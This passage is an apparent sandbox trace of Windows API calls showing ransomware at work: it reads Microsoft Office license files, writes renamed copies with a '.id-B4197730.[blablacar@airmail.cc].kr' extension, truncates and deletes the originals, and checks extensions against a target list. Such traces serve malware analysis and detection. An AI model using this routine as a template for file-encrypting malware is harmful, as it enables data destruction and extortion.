(lpString1=".bz2", lpString2="m-ms") returned -1 [0206.105] lstrlenW (lpString=".7z") returned 3 [0206.105] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.105] lstrlenW (lpString=".dbf") returned 4 [0206.105] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.105] lstrlenW (lpString=".1cd") returned 4 [0206.105] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.105] lstrlenW (lpString=".jpg") returned 4 [0206.105] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.105] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.105] lstrlenW (lpString="O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 37 [0206.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.106] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11644) returned 1 [0206.106] CloseHandle (hObject=0x3ec) returned 1 [0206.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms")) returned 0x220 [0206.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.107] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.107] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.108] GetLastError () returned 0x0 [0206.108] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0206.344] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0206.345] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.346] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0206.346] SetEndOfFile (hFile=0x3f8) returned 1 [0206.346] CloseHandle (hObject=0x3f8) returned 1 [0206.346] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.346] SetEndOfFile (hFile=0x3ec) returned 1 [0206.349] CloseHandle (hObject=0x3ec) returned 1 [0206.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms")) returned 1 [0206.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.351] lstrlenW (lpString=".doc") returned 4 [0206.351] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.351] lstrlenW (lpString=".docx") returned 5 [0206.351] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.351] lstrlenW (lpString=".pdf") returned 4 [0206.351] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.351] lstrlenW (lpString=".xls") returned 4 [0206.351] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.351] lstrlenW (lpString=".xlsx") returned 5 [0206.351] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.351] lstrlenW (lpString=".ppt") returned 4 [0206.351] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.351] lstrlenW (lpString=".zip") returned 4 [0206.351] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.351] lstrlenW (lpString=".rar") returned 4 [0206.351] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.351] lstrlenW (lpString=".bz2") returned 4 [0206.351] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.351] lstrlenW (lpString=".7z") returned 3 [0206.351] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.351] lstrlenW (lpString=".dbf") returned 4 [0206.351] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.351] lstrlenW (lpString=".1cd") returned 4 [0206.351] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.351] lstrlenW (lpString=".jpg") returned 4 [0206.351] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.352] lstrlenW (lpString=".doc") returned 4 [0206.352] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.352] lstrlenW (lpString=".docx") returned 5 [0206.352] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.352] lstrlenW (lpString=".pdf") returned 4 [0206.352] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.352] lstrlenW (lpString=".xls") returned 4 [0206.352] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.352] lstrlenW (lpString=".xlsx") returned 5 [0206.352] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.352] lstrlenW (lpString=".ppt") returned 4 [0206.352] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.352] lstrlenW (lpString=".zip") returned 4 [0206.352] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.352] lstrlenW (lpString=".rar") returned 4 [0206.352] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.352] lstrlenW (lpString=".bz2") returned 4 [0206.352] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.352] lstrlenW (lpString=".7z") returned 3 [0206.352] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.352] lstrlenW (lpString=".dbf") returned 4 [0206.352] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.352] lstrlenW (lpString=".1cd") returned 4 [0206.353] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0206.353] lstrlenW (lpString=".jpg") returned 4 [0206.353] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.353] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.353] lstrlenW (lpString="O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 41 [0206.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.354] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11215) returned 1 [0206.354] CloseHandle (hObject=0x3ec) returned 1 [0206.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms")) returned 0x220 [0206.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.355] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.355] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.356] GetLastError () returned 0x0 [0206.356] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0206.359] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0206.361] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.361] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x126, lpOverlapped=0x0) returned 1 [0206.361] SetEndOfFile (hFile=0x3f8) returned 1 [0206.361] CloseHandle (hObject=0x3f8) returned 1 [0206.361] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.361] SetEndOfFile (hFile=0x3ec) returned 1 [0206.366] CloseHandle (hObject=0x3ec) returned 1 [0206.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms")) returned 1 [0206.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.368] lstrlenW (lpString=".doc") returned 4 [0206.368] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.368] lstrlenW (lpString=".docx") returned 5 [0206.368] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.368] lstrlenW (lpString=".pdf") returned 4 [0206.368] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.368] lstrlenW (lpString=".xls") returned 4 [0206.368] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.368] lstrlenW (lpString=".xlsx") returned 5 [0206.368] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.368] lstrlenW (lpString=".ppt") returned 4 [0206.368] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.368] lstrlenW (lpString=".zip") returned 4 [0206.368] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.368] lstrlenW (lpString=".rar") returned 4 [0206.368] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.368] lstrlenW (lpString=".bz2") returned 4 [0206.368] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.368] lstrlenW (lpString=".7z") returned 3 [0206.368] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.368] lstrlenW (lpString=".dbf") returned 4 [0206.368] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.368] lstrlenW (lpString=".1cd") returned 4 [0206.368] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.369] lstrlenW (lpString=".jpg") returned 4 [0206.369] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.369] lstrlenW (lpString=".doc") returned 4 [0206.369] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString=".docx") returned 5 [0206.369] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.369] lstrlenW (lpString=".pdf") returned 4 [0206.369] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString=".xls") returned 4 [0206.369] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString=".xlsx") returned 5 [0206.369] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.369] lstrlenW (lpString=".ppt") returned 4 [0206.369] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.369] lstrlenW (lpString=".zip") returned 4 [0206.369] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString=".rar") returned 4 [0206.369] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString=".bz2") returned 4 [0206.369] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString=".7z") returned 3 [0206.369] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.369] lstrlenW (lpString=".dbf") returned 4 [0206.369] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.369] lstrlenW (lpString=".1cd") returned 4 [0206.369] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0206.370] lstrlenW (lpString=".jpg") returned 4 [0206.370] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.370] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.370] lstrlenW (lpString="O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 42 [0206.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.371] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=27735) returned 1 [0206.371] CloseHandle (hObject=0x3ec) returned 1 [0206.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms")) returned 0x220 [0206.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.371] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.371] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0206.373] GetLastError () returned 0x0 [0206.373] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x6c57, lpOverlapped=0x0) returned 1 [0206.377] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x6c60, lpOverlapped=0x0) returned 1 [0206.379] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.379] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x128, lpOverlapped=0x0) returned 1 [0206.379] SetEndOfFile (hFile=0x450) returned 1 [0206.379] CloseHandle (hObject=0x450) returned 1 [0206.379] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.379] SetEndOfFile (hFile=0x3ec) returned 1 [0206.382] CloseHandle (hObject=0x3ec) returned 1 [0206.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms")) returned 1 [0206.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.383] lstrlenW (lpString=".doc") returned 4 [0206.383] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString=".docx") returned 5 [0206.384] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.384] lstrlenW (lpString=".pdf") returned 4 [0206.384] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString=".xls") returned 4 [0206.384] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString=".xlsx") returned 5 [0206.384] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.384] lstrlenW (lpString=".ppt") returned 4 [0206.384] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.384] lstrlenW (lpString=".zip") returned 4 [0206.384] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString=".rar") returned 4 [0206.384] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString=".bz2") returned 4 [0206.384] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString=".7z") returned 3 [0206.384] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.384] lstrlenW (lpString=".dbf") returned 4 [0206.384] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.384] lstrlenW (lpString=".1cd") returned 4 [0206.384] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.384] lstrlenW (lpString=".jpg") returned 4 [0206.384] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.384] lstrlenW (lpString=".doc") returned 4 